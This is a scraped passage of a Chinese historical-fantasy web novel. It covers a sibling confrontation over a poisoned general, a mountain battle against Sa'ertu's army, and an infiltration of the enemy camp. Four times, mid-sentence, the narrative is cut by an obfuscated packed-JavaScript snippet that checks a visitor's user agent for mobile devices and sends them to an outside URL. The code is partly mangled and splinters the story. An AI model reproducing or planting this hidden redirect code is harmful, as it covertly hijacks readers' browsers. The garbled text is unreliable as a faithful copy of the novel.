迟三道：“你什么意思？你姐姐方才在殿上，不是挺大公无私的吗？也没私下做手脚要扶自己儿子上位，太子顺利继位，咱们这趟差事，眼看就了了，你这是演的哪出？” “十九皇子并非她所出。”罗同道，“即便真是，今日殿上一切也不会有分毫改变。因为无论坐上那把椅子的是谁，于她而言都并无阻碍。过去十余年如此，今后亦然。” 福瑛望着他，忽然轻轻笑了。 她慢条斯理地拂了拂袖口：“我掌权与否，与你何干？莫非是嫉妒了？觉得这些……本该是你的？” “别忘了，当年是你们抛下我的。” 罗同漠然问：“你怎会这样想？” 福瑛质问：“当年那个女人生下我们。为什么只带走你，独独留下我？” “你们可知，我过得远没有外人眼中那般风光。父皇待我虽好，可他太忙了。若不是母后后来发现自己无法生育，需要一个女儿来固宠，我未必能平安长大。这些，那个女人离开时难道不曾预料？” 她涩然道：“或许当初真有苦衷，那后来呢？你们如此神通广大，能视宫禁为无物，为何从不来看我？就因为我是个女儿，便不值得了么？” 罗同静默片刻，道：“太后是这么告诉你的？” 他向前踏了一步，雾气在他身周翻涌。 “那毒妇，当年她以为母亲流血不止必死无疑，又以为将我闷死了，才将我们扔出宫外。至于母亲……” 他顿了顿：“她来过，来过许多次。最后一次，是你生下恂儿那晚。我知道你不喜这个孩子，因那一次你几乎踏进了鬼门关。但你不知的是，你原本是活不下来的。” “是她，用了秘术，以自己的命，换了你的。” 福瑛怔住：“为何不告诉我？” “是母亲的意思。她不愿你余生活在愧疚里。” 罗同看着她，又道：“我答应了她。虽则我清楚，你根本不会愧疚。” “你以为你很了解我？” 福瑛眼底终于掀起波澜，她怒视着他，“你今日又是为何而来？向我连本带利讨回来？我能走到今日，凭的全是我自己。你不该为你姐姐高兴么？” 她冷笑：“还是说，你终究和那些庙堂上的朽木一样，觉得女人掌权，是牝鸡司晨，是逆了天理人伦？” “不。你说的这些都与我无关。”罗同的声音骤然沉了下去，“我来，只是为了一个人。” 他再向前一步，两人之间只余咫尺。 “你还记得宗谦么？” “四年前，他‘败逃’前一日，那盒掺了东西的酥饼，是你遣人送去的。” 他顿了顿，一字一字：“为什么？” 福瑛呼吸微滞。 “便是什么情分都不提，他好歹是你孩儿的生父！” 他又笑：“啊，我倒忘了，你连自己唯一的亲生骨肉，也从未真正在意过。” “你今日这般对我，便是为了他？”福瑛短促地嗤了一声，“若非你提起，我几乎忘了这个人。” 她抬眼，带着审视：“你为何如此在意此人？因为宗恂？那孩子确实固执。也难怪，世上哪个儿子，希望自己的父亲是个贪生怕死、临阵脱逃的懦夫？” “住口！” 罗同终于动了怒，眼底寒光迸现。 “你明明心里比谁都清楚是怎么回事！你害死了他，如今还要这般折辱他。你真以为当年之事无人知晓么？” 仿佛连空气都因这对峙凝固了片刻。 福瑛眼中的情绪渐渐平息，她望着罗同过于激烈的反应，忽然开口道：“不是因为恂儿。”是陈述句。 “你为何如此在意宗谦？难道当年，你也在宗家军中？” 罗同只是死死盯着她，唇角抿成一条苍白的直线。 这沉默本身便是答案。 “原来如此。”她别开视线：“当年的事，也非我所愿。是皇帝……是先帝非要那样做。他死前不是也写了罪己诏么。历陈边衅之失、忠良之冤。那也是你们安排的吧？如此，也该算是两清了。” “两清？” 罗同忽然动了，右手猛地攫住了福瑛的手腕。 福瑛面色一变，当即运力回夺，可那只手纹丝不动，力道之大，几乎要捏碎她的腕骨。 她抬眸，正对上罗同近在咫尺的眼睛。那里面汹涌着的，是近乎暴烈的愤怒与痛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485605|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “在你们这些人眼里，”罗同低吼，“宗谦算什么？宗家军算什么？北境防线崩溃时，被屠戮、被凌辱、被像牲口一样驱赶的百姓，又算什么？” “这是一笔能两清的账？” 他手指的力道又重了三分，福瑛痛得眉心蹙起，却咬牙不肯出声。 “而且，你撒谎了。”罗同逼近，气息几乎拂在她脸上。 “那个叫秋雯的嬷嬷，把什么都告诉你了。你什么都知道，可你只是从她的忏悔里，只得到了更恶毒的启发！” 福瑛眼中终于有了些惊慌。 “这些年，你身边养了多少容貌姣好的侍女？你让她们生下孩子，然后抱到自己身边。你让那些孩子从襁褓中就认定，你是他们的母亲。这样，他们便会将全部的忠诚与孺慕，都献给你。” “就像白砚生，就像你以为能握在手里的十九皇子！” 他骤然松开了手。 福瑛踉跄半步，她低下头，腕间已是一片刺目的青紫。 她抚着痛处，脸上惊慌褪去，留下的却是傲慢。 “说完了？”她扬起下颌，恢复了一贯的威仪，“那你想我如何？以死谢罪么？” 她唇角噙着冷笑，“太后离不开我，太子根基未稳离不开我，风雨飘摇的大靖朝更离不开我。你待如何？” 罗同静静看着她。 那目光里的愤怒渐渐平息，最后只剩下疲惫。 “我不会杀你。” 福瑛唇角刚欲扯出一点胜利的弧度，便见他嘴角扯出个恶意的笑。 那笑容经年不见，仿佛平日里端正的面具终于裂开一角，露出底下久违的恶劣本色。 “我不杀你，却不是那些因为狗屁的道理”他望着她，笑得愈发开怀，“只是因为有些苦，活着才能吃到。” 他退后一步。 “我的好姐姐，继续坐在你的云端之上，享受你虚伪又荒唐的人生吧。” 说罢，他不再停留，转身向着浓雾深处走去。 此行目的已了，多一个字都是多余。 福瑛僵在原地。 随即，腕间被攥过的皮肤下，一股阴寒的麻痹感悄然传来。 她试着屈指，指尖却像隔了层棉絮。麻意顺着血脉爬升，浸过肘弯，漫上肩颈。她慌忙想迈步，膝盖却猝然一软，整个人沉沉撞向身旁的廊柱。 便在此刻，周遭浓雾悄然退散，而视线却逐渐变得暗沉。脚步声匆促靠近，耳边传来侍女惊惶的声音：“殿下！您怎么了——” 福瑛张了张口。 没有声音。 只有喉咙深处徒劳的震颤，和将伴随她余生的，那一片绝望的黑暗与死寂。 100. 无恙 陇地的山，仿佛大地折断后露出的嶙峋骨架，一茬接着一茬。 纵使宗恂雷霆手段，他麾下那号称有五万，匆忙从京畿带来的老爷兵，一路逃散，至此已不足半数。余下的兵卒也谈不上忠勇，不过是迫于其威势，再加上揣着个走个过场便可回京领赏的糊涂梦。 直到他们立上高坡，亲眼看见远方—— 萨尔图的十万远征军，正似雪洪般无可阻挡地漫进同一片山地。 而他们与其之间，再无任何屏障。 三年前北地的惨烈传说，在这一刻撞进每个人的回忆，求生的本能将这盘乌合之众短暂地黏合在一起。 所幸，前方这庞然巨物亦有软肋：部族纷杂，号令难通，蜿蜒崎岖的山道像锉刀，将这十万之众逐渐拉散，变得首尾难顾。 这正是宗恂唯一能抓住的机会。 他是最耐心的猎人，从不正面接战，只是不断用小股势力袭扰：截杀落单的小队，焚毁运粮的后队。敌方大军在一次次看似微不足道的损失和持续的紧张中，被慢慢放血，不胜其烦。 但萨尔图能统御诸部南下，也绝非庸才。 危机骤临于狼峪。 宗恂亲率千余步兵为饵，本欲故技重施，将一队骄兵诱入预设的绝谷。不料对方阵型陡然一变，那看似散乱的敌军骤然收束，两翼山林中响起沉重的马蹄与甲胄铿锵—— 他们撞上的，竟是萨尔图亲率的本部狼骑与重甲步卒混编的中军精锐！ 退路转瞬被包抄而来的敌骑封死。宗恂当机立断，靠峪内的地形优势，结阵固守。 “弓手上石！” 他厉声喝道，“刀盾兵列三层，盾牌插地，人蹲盾后！” 京营的兵养尊处优，但平日操练的底子还在。听得号令，百余名弓手连滚带爬攀上坡顶两侧的乱石，刀盾兵们把盾牌往地上一戳，缩在后头瑟瑟发抖。 山坡下，敌军却没有立刻动作。 宗恂眼神眯起，他看见远处那杆将旗旁，有一骑飞驰而出，沿着阵线疾驰传令。紧接着，原本蜂拥而至的敌军忽然分作两股：靠前的那些兵刃杂乱的部族兵开始重新整队，而后面那些玄甲覆身的精锐狼骑，竟缓缓勒马，停在原地。 萨尔图要拿人填坑。 宗恂握着枪柄的手紧了紧。来不及他多想，那些部族兵已经嗷嗷叫着冲上来了。 “放箭！” 弓手们松弦，箭矢如蝗，冲在最前的蛮子倒下一片。但后面的立刻踩着同伴的尸体继续往上爬，一个接一个的脑袋从坡沿冒出来。 北地的蛮子们本就是骁勇善战的民族，即使是被拿来填线的边缘部族，也都是能征善战的狠角色。他们攀爬石坡如履平地，嘴里叼着刀，手脚并用，快得惊人。 “顶住！”宗恂挥枪格开一枚流矢，反手刺下，将一名刚探出脑袋的敌卒斩落坡下。同时身侧传来惨叫，一个刀盾兵被拖出了盾阵，三四把刀同时砍下去，血喷起尺高。 “将军！” 副将满脸是血地扑过来，声音都变了调，“顶不住了！是时候了吧？” 宗恂挥枪再挑数人，目光越过层层叠叠的敌卒，死死盯着峪口外那杆好似纹丝不动的敌旗。 太远了。 “等等！”他低声道，“再等等！” “可是——”一箭飞来，副将侧身一躲，那箭贴着他耳朵钉进身后的土里，箭尾犹在颤动。 宗恂没有理他，只是一枪一枪地往外挥。 不知过了多久，身边不断有人倒下，盾阵在收缩，弓手的箭壶已经见了底。那些黑色的脑袋还在往上冒，怎么砍也砍不完，像是从地里长出来的。 “将军！”副将又喊。 宗恂没有回头，他盯着那杆旗。 旗动了。 又近了一点。 那些玄黑色的甲骑缓缓向前压，像一片移动的铁幕。萨尔图等不及了，他看着自己的弃子们把猎物的血放干，然后迫不及待要亲自来收割。 “就是现在！”宗恂低喝。 副将一愣，旋即发疯似的往坡顶跑。军令一声一声传上去。那些被压着打了半个时辰，吓得魂飞魄散的京营兵卒们，听见这道命令，愣了一瞬才反应过来，随后立刻爬起来掀开盖在乱石堆上的油布，露出底下早就藏好的木桶。 坡下的蛮子们正狞笑着往上攀。他们已经看见了坡顶那些瑟瑟发抖的南人，只差最后几步，只差最后—— “倒！” 木桶掀翻。粘稠的液体倾泻而下，浇在那些刚刚探出脑袋的蛮子身上。有人愣住了，低头闻了闻。 “是桐油！是桐——” 一点火星落下。轰！ 火焰乍然爆起，咆哮着蹿起数丈高。 着了火的蛮子尖叫着往坡下滚，但身后全是人，挤得水泄不通。他们滚下去，把火带给更多的人。 藤甲是最容易烧的，人油也是。山坡下转眼间成了一片火海，烧得噼啪作响。焦臭味冲天而起，蛮子们哭爹喊娘地往后退。 坡上的人怔怔地看着。然后有人笑出声来。那笑声像是会传染，一个接一个，最后变成一片欢呼。有人把刀往地上一插，蹲下去抱着脑袋哭。 宗恂还是盯着远处的黑旗。 黑旗下，萨尔图低骂一声，随即抬起了手。随他的手令，他身后的部队迅速向两侧散开，同时队伍里有许多人有序出列开始救火。 火焰渐渐低下去，只剩浓烟滚滚。 甚至等不及火焰完全熄灭，那些玄黑色的身影已经从烟幕后冲出来，马蹄踏过还在冒烟的焦尸，直直向这片已经残破不堪的石坡撞来。 坡上的笑声止住了。宗恂右手握紧枪杆，左手从腰侧拔出步刀，深吸一口气。 他曾无数次想象过，甚至是热切盼望过这样的场景。可此刻当真站在这里，他心中早已无半分澎湃。 他想起了他父亲。 七岁那年，他第一次见到了宗谦。寒门出身，状元及第，从文官做到大靖国最负威名的武臣——那个活在传说里的父亲蹲下身，把小小的他拥进怀里，却有什么温热的东西一滴一滴落在他肩头，洇进衣褶里。 十七岁那年，国难，父亲从南赣回来，问他愿不愿意去守南疆。他点了头，虽则那是他第二次见他，也是此生最后一次。 他在南赣一战成名，成了大靖朝最年轻的战神。他是宗谦的儿子，他们是大靖朝一南一北两颗远远挂怀的将星，他无比自豪。 直到噩耗传来。 他不是没有过疯狂，每当敌人的血从喉管里喷得他一身一脸，他便觉得痛快。他甚至开始想象，若那血是他自己身上涌出的，他一定会更快活。 然而她出现了。他们有一样的过往，存着相同的执念。然而两个疯狂的人结为同盟，却让他生出了一颗渴求平凡的心。 平生第一次，他怕了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485606|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >坡下重骑马蹄轰隆。第一波撞进来的时候，盾阵向内凹去。有人惨叫，有人被马蹄踏成肉泥。刚才那点靠桐油烧出来的士气，在绝对实力碾压面前迅速消散。 宗恂不知道自己斩了多少人。枪杆断了，他还有长刀，一刀一刀往外劈。又一匹战马冲上来，他矮身躲过马蹄，刀锋往马腹上一划，温热的肠子淋了他满头满脸。身后一声惨叫，是他的副将跪在地上，左臂齐肘而断，血喷得一地都是。 敌人的每一次冲锋都让这单薄防线剧震欲溃。 他大口喘气，目光扫过身侧。还站着的人已经很少了。幸存的每个人，眼睛里都空了。 下面，黑压压的敌军正在重整队列，将旗又往前移了十丈。萨尔图骑在马上，正朝这边望过来。下一轮冲锋已是箭在弦上。 他们还能否再撑过这一回？ 他忽然想起临行前她的眼神，想起那一夜的温存，还有他悄悄在心中许下的誓言。 这一年，原是多好的光景。 远处，萨尔图又抬起了手。 他握紧手中豁口累累的刀。 “不，我不能对她食言。” 便在这时，天际传来一声长鸣。盘旋在狼峪上空蛮族的瞭鸟突然发了疯似地唳叫。 一声沉闷的弦响自东侧山脊炸开，一支五十力的重箭破空而去，精准贯穿那金雕的胸腹。大鸟在空中僵了一瞬，像片破布似的直直坠落。 宗恂猛地转头。东侧山脊上，一人一马立于斜阳之中。那人手执一把重弩，身后是望不到边的军列。 她把弩往马背上一挂，抬手，拔刀，那一刀指向山下敌阵。 下一瞬，山脊上爆发出震天的吼声。 “杀！杀！杀！” 数千骑兵顺着山势直扑而下。雁形的阵线在疾驰中迅速展开，像一只巨鸟展开双翼。当先那匹黑马冲得最猛，马背上的人伏低了身子，玄色披风被山风扯得猎猎。 萨尔图的传令兵刚挥动旗帜，那支雁阵已经撞进了侧翼。 重甲骑兵在平地对阵步兵甚至普通骑兵是碾压，可他们刚刚收拢队列，根本来不及提速。那些仿佛从天而降的轻装骑兵像刀子切入肉块，直直撕开一道口子。雁阵的两翼随即收拢，顺着那道口子把敌人撕成一块一块绞杀。 “列阵！”宗恂高喝，“援军来了！活着的，跟我一起压下去！” 萨尔图的中军被拦腰斩断。那些部族兵还没来得及从火攻的混乱中恢复，又遭侧翼突袭，阵脚大乱。重甲骑兵则被轻骑分割成座座孤岛，如陷在泥沼里的巨兽无暇自顾。宗恂带人从坡上冲下来时，正撞上一队慌不择路的蛮子，刀劈进去，竟没遇到像样的抵抗。 “撤退！撤退！”蛮语的呼喝从敌阵深处传开。 萨尔图的将旗开始后移，那些被冲散的重甲骑兵得了号令，不再恋战，拼命往旗所指的方向汇合。外围的部族兵被推上来殿后，用血肉换那些精锐撤出去。 宗恂又挥了几刀，渐渐停住了。他看见那匹黑马也停了。 两人心照不宣，穷寇莫追，况且敌军主力根本未损。 燕风勒住缰绳，浑身浴血，隔着厮杀的人群望过来，眼睛亮得烫人。 马蹄声由远及近。黑马停在他面前，燕风微微抬头看他，喘息未定，鬓边碎发被汗黏在脸颊上，恰如她成年后第一次在檐下见他时的样子。 她如释重负，明媚笑道：“宗将军，别来无恙。” 101. 阿红 宗恂看着她，看了很久，久到燕风笑意微微淡下去，偏头看他，眼神里带出一点询问。 他没有说话，抬手在她肩上轻轻拍了一下，像武将之间平常的寒暄，只是手在离开她身上的时候，不舍地慢了一拍。 “下马，清点伤亡。”他语气淡淡。 “嗯。” 燕风低头时嘴角弯了弯，再抬起头的时候又变回了那个神情严峻的少年将领。 现实的境况十分惨淡。 尽管这一场交战，在敌我实力悬殊的前提下，结果实在算得上是奇迹。但确切的数字报上来，两人对视一眼，都沉默了。 活下来的人太少了，不够说什么豪言的。 “粮草还剩多少？”她走到宗恂身边，两人并肩而行。 “三日。”宗恂说，“最多了。” 燕风默了默，她这边虽然伤亡更少，但因为出来的时候更匆忙，支撑的粮草其实连三日都不到。 可就算抛开粮草问题，他们仍处于显而易见的困境：方才燕风横空杀出，打了萨尔图一个措手不及，逼得他不得不重整。但那是今天的事，而今天已经快过完了。萨尔图带出来十万人，他等得起，待探子把这边的虚实摸清楚，再回来就不是这副阵仗了。 留给他们的时间，就是从现在到他们的探子回报这一段。 “宗将军。”两人走到一处人少的地方，燕风忽然低声唤他。 “我有个想法。”她转过脸，看着他。 他突然有些不好的预感。 便在这时，远处有马蹄声传来。两骑从山道拐出来，马背上的人老远就喊：“让让，自己人！” 是罗同和迟三，他们两骑马鞍一侧各绑着一两个人，手脚捆着被吊在马侧。 罗同翻身下马，把人往地上一扔：“路上捡的。萨尔图的探子，往这边来的，拦下四个，跑掉两个。” 燕风看了一眼地上的人。 “跑掉两个。”她重复了一句。 “跑掉那两个是好事。”接话的是迟三，他笑了一声，“那两个不太聪明，看到什么便觉得是什么。” 燕风点头，又问罗同：“可读到了什么？” 罗同：“他们这四人已经摸清楚了我们真正的大致人数，幸好被我们抓了。” 他顿了顿：“但萨尔图派出来的可能不止这一队。” 气氛微窒。 宗恂：“这消息确切吗？” “不知道。”罗同说，“这几个人只知道自己这队。” 身后简易的营帐已经搭好了，宗恂看了看天色，神情凝重：“进去说。” 营帐不大，四个人坐下来之后把空间挤得满满当当。 宗恂先把局势过了一遍。兵力、粮草、军备，每报一项，帐里气氛就沉一分。他看了看在座的几个人：“正面硬碰硬绝没有胜算。而今唯有斩敌首一条路可走。” “今夜就是最后的机会。” 燕风下意识点头，这也是她方才所想，她正要开口，却听宗恂继续道：“我去。” “你疯了！” 燕风神色焦急：“你忘了上次？萨尔图吃过你的亏，只会更谨慎，你根本不可能近他的身。还是该我去。” 宗恂早就猜到她会这么说，冷静道：“萨尔图并非等闲之辈，你的近身功夫不够，近了身也无用，伺机远攻，于你才是最佳的选择。” “可你的轻功也不够，退一万步，就算能得手也逃不出来。你去便是送死！” 迟三看着都寸步不让的两人，突然笑出了声：“别争了，这事简单。罗同去，他能易容，混进去和混出来都容易。他还能打，至少比你强。”他指了指燕风。 罗同也点头：“确实如此，我是最好的人选。” 宗恂想了想，又道：“此事需我们通力合作，绝非一人可为。迟三，你的幻术能撑多久？” 迟三皱了皱眉，竖起两根手指：“两炷香。前提是我自己判断风险可控。” 他把话说清楚，“如果我觉得不对，我会离开。我不做超出这个范围的承诺。” 帐里没有人反驳他。没有意义，他说的就是他会做的。 燕风接过话：“那好，迟三，你靠幻术辅助罗师父进出。宗将军，你带人马趁夜色偷袭，分散他们注意力。罗师父，您不必真的杀死萨尔图，您只要把他引出来，我会藏在不远处，只要他现于人前，我便能一箭结果了他。” 她说完看向宗恂。 宗恂沉默，他想了很多反对的话，但每一种推到最后，都会回到同一个问题：还有别的法子吗？ 没有，没有别的了，这就是最后的办法。 片刻后，他终于涩然开口，对着燕风道：“你射完那箭，不管结果如何，先撤。” 燕风点了点头，是答应了。 几人又商议论确定了些细节，便分散开各自去做最后的准备。 * 边瓦大军的地盘里弥漫着一股混合了血气的恶臭，陇地的风再大也吹不散。 一个女奴在营地里行走，几个汉子从她身边经过，其中一个故意撞了她，回头看她一眼，眼神先是一愣，然后变成了嫌恶。 "晦气！" 今日打了败仗，郁气本想找个地方撒出去，好不容易遇到了个女的，兴致又被她那张脸扫了个干净。 另一个跟着淬口水，眼风扫过她脸上那道疤——从眼角斜到下颌，皮肉拧在一处，早就长好了，只是再不会消了。 女奴没有管他们，手里提着水桶和布巾，平静地继续往前走。 大帐的帘子掀起来，她侧身进去。 她见过很多次萨尔图大帐里的模样，每次都没有太大不同：桌上有吃剩的东西，地上有洒的酒，还有血迹。 她拿着布巾蹲下去，从水桶里拧了水，开始擦。 真可惜。 她想着，动作没有停。 真可惜，血不是他的。 萨尔图这个人有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485607|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几样叫人意外的地方，其中一样是爱干净。她伺候了他快一年，摸清了这一点，打扫的时候分外仔细，于是从未在这件事上挨过打。但别的事情上倒未必。 往常他这时候不在帐里，今日她擦过一遍地，才发现榻上还有人。 萨尔图安静地躺在榻上，闭着眼，身上的外袍还没有换，发也散了一半，像是完事之后什么都没顾上，倒头便躺下睡着了。胸膛一起一伏，呼出来的气里带着淡淡的酒味。 她的视线落在榻边，落在他的喉管上。那里有一根青筋，随着他的呼吸，一鼓一鼓的。 她看了很久，布巾攥在手心里，水一点一点渗进掌纹里。 “怎么不动手？” 榻上，萨尔图睁开了眼。 “这么久了，你还活着。”他慢慢坐起来，赤着脚下地，朝她走来，“比我想得要厉害。” 女奴的身体开始本能地颤抖。按照以往的经验，这种时候她就要挨打了。 一只手很快钳住她的脸颊。萨尔图歪着头打量她脸上的疤痕，像在欣赏一件得意的作品。 “从云端跌落的滋味如何？李夫人。” 现在成了女奴的李翠抿着嘴不答。她不怕死，但怕疼，怕极了。 一年多前那夜，北地青阳镇。她的丈夫、青阳镇城主王守举，就伏尸在离她三步远的地方。她来不及悲伤，因为萨尔图的弯刀已经当头劈下。 刀锋没入皮肉，疼啊，真疼。她以为自己要死了，但刀停了，那个以暴戾出名的年轻王子用一种奇异的神情盯着她受伤的脸。她不会天真到以为他生出了什么恻隐心。果然，后来的每一天，都是地狱。 李翠闭上眼，预想中的拳脚却没有落下来。她大着胆子睁开眼，发现今夜的萨尔图有些不同寻常。 “你知道我为什么没杀你么？”萨尔图显然醉了，眼珠发红，阴恻恻地盯着她。 她不答话。 “生我的那个女人脸上也有这样一道疤。”萨尔图说，“她也是个中原人。” “她不安分，想跑。筹谋了十年，差一点就成了。”他顿了顿，冷笑：“可她妄想着带上我。” 李翠听出了那个“妄想”背后的意味。 “我那时候八岁，”他语气平常，“她脸上那刀，是我给的。” “你们中原女人，看上去就一副弱不禁风的样子，事实上也是。她没几天就死了。你的伤口和她很像，但你还活着。已经一年多了。” 李翠垂着头，如今无论萨尔图说什么，她都早已见怪不怪。 “对了，那个人也是。命真大啊，掉到苍河里竟也活着。今日，我看见她了。” 萨尔图眼底有什么东西亮起来，是一种叫人不安的……兴致。 “还记得吗？你叫她阿红。” 阿红。 李翠骤然抬起眼。她当然记得，守举的死，她如今活在地狱般的每一天。一切都拜那个人所赐。 那个叫阿红的，骗子！ 102. 不安 “啊——” 一点预兆刚从喉咙里冒出来，就被狠狠捂了回去。 燕风把那个喷嚏压在掌心里，闷得眼眶发酸。她蹲在阴影里，拼命忍住第二波冲动，好一会儿才缓过来。 见鬼，差点掉链子，可别在这阴沟里翻船。 她深吸了口气，把手在衣摆上蹭了蹭。陇地这鬼地方，夜里冻得人骨头凉，偏生边瓦人的营地还扎在这高地上，风大得呛鼻子。 前面走着的罗同停了脚步。月光下，他的脸半明半暗，下颌的线条绷紧，直到确认她那声动静没有被任何人察觉，才仿佛松了口气。 一旁的迟三则轻松得多，他斜眼打量着罗同，若有所思。 营地太大，两炷香的幻境时间不够从头到尾地掩护他们，于是开始的这段路他们得靠自己。三人虽都已扮成了蛮子的样子，但同行仍有些显眼，到了一隐蔽处，燕风便同事先说好的那样停下藏了起来，等罗同他们寻到了目标再联系她。 迟三和罗同并肩继续走着，前者轻笑，低声道：“你认得人吗？别到了时间姓宗那小子来了，咱们还没寻着目标。” 罗同瞪了他一眼。 迟三哼了声，索性把手搭在罗同肩膀上，靠心声同他对话：“这么紧张做什么？你看这满营的蛮子，个个皆松散得紧，醉酒的也不在少数。你这样绷着，反倒格格不入。” 罗同不理他，但一举一动肉眼可见地不再那么板正。 一路上既要防着被发现，又要防着因扮得太像被使唤做事，两人花了快三炷香的功夫才走遍了整个营地。蛮子们的队伍本身便是东拼西操，营地里的布局、帐篷也都各是五花八门，毫无规章可言。 眼前便是整个营地里头最豪华的一座大帐了，两人不约而同停了脚步。 用幻术悄悄潜入杀掉萨尔图，其实不算难。 但这样是远远不够的。边瓦贵族不缺人，萨尔图死了，蛮子们很快便能推举出一个新的首领。到了明天太阳升起的时候，这支军队照样能拔营行军、烧杀抢掠。 只有在混乱中，在蛮子所有人众目睽睽下，一举歼敌首，才能打碎这支军队此时正蓬勃的信心。未来的拉锯战才能多一些希望。 故而他们商定以宗恂的偷袭引得萨尔图顺理成章现于人前。届时迟三和罗同以幻术配合，给蛮子们留下一场刻骨铭心的、单方面的绝望屠杀。燕风则在不远处潜伏，作为最后的后手。 三人之间可靠“能力者”的感应随时联系。但和宗恂无法用这种方式沟通，只能约定一个固定的时间节点，各自动手。 而三炷香的时间，快到了。 迟三把手搭在罗同肩上，心声递过去：“来不及了，进去看看？” 罗同点头。 脚下白雾无声涌起，薄薄一层，贴着地面蔓延开去。两人在雾内挑开帐帘，闪身而入。 一股浓重的酒气扑面而来。帐内灯火通明，正中还架着几只整羊在火上烤着，油脂滴进火堆里嗤嗤地响。七八个衣着华丽的蛮族男子散坐在厚厚的毡毯上，有老有少，有的已经歪倒，有的还在大口喝酒撕肉。几个衣着暴露的女子相伴其间，好不惬意。 仗着雾外的人看不见也听不见他们，迟三啧了一声：“白日里刚吃了瘪死了人，晚上不怕上头斥责，还敢如此毫无顾忌地享乐。萨尔图定在这些人中无疑了。” 罗同刚想回话，便听外头隐隐传来动静。马蹄声从营地的东面压过来，伴随着人畜的惊叫。 两人对视一眼，是宗恂来了。 帐门帘子被掀开，一个蛮兵探进半个身子，气喘吁吁地说了句蛮语。席面上的人瞬间酒醒了大半，都看向坐在最上首，显然地位最高的男子。 那男子放下酒碗，慢悠悠站起来，作势要走出去。 迟三肘肘罗同：“愣着做什么？趁现在？” 罗同回了神，上前一步，在迟三白雾的掩护下靠近了那男子，手轻轻碰在那人臂膀上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485608|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只那一瞬，他脸色骤变。 * 燕风蹲在藏身的角落里，屏息等待着。 不知为何，她有些心神不宁，总觉得不安。 她自我安慰，这不安应是由于同罗同二人的感应。犹记得在青桥县孙宅，她第一次感受到‘同类’气息时的恐惧。那次罗同将这感应用作震慑她的考验。如今这感知却被他们当作了告知方位的工具，并以其强弱来传递讯息。 时间到了。 东面，马蹄声和喊杀声几乎同时炸开。宗恂偷袭的动静渐渐传来，蛮子营地像被捅了的马蜂窝，周遭开始骚动起来。 几乎与此同时，与罗同等人的感应突然加强了，燕风捂了捂胸口。 这种强度，是得手了？ 她来不及多想，趁着混乱，借着营帐的掩护在人群的缝隙中飞速潜往感应传来的方向。一路上不断有蛮子从她身边跑过，往东面去，没人来得及注意这个逆行的身影。在即将靠近的时候，她停了脚步，隐入角落的阴影。 她小心翼翼探出头，眼前豁然开朗，是一片空地。 许多蛮子已经围成一圈，火光辉映下，那些粗犷的面孔上写满了同一种情绪。 震惊，以及茫然。 他们看着圈中。 圈中是两个人。迟三负手站着，神情散漫。罗同面无表情站在他身侧，右手垂在身侧，左手却拎着—— 一颗人头。 迟三忽然偏了偏头，朝着燕风藏身的方向，轻笑出声。 “你来晚了。这事太容易，做完了。” 燕风没有现身。她眯了眯眼睛，仔细看向那颗脑袋。火光映在那一脸粗硬的胡须上，映在那圆睁的、已经失去神采的眼睛里。 不对，这，这不是…… 忽听身后一阵喧哗。一群人匆匆赶来，火把的光照亮了为首的华服青年——那张脸她认得，白日里才远远望见过。 正是萨尔图本人。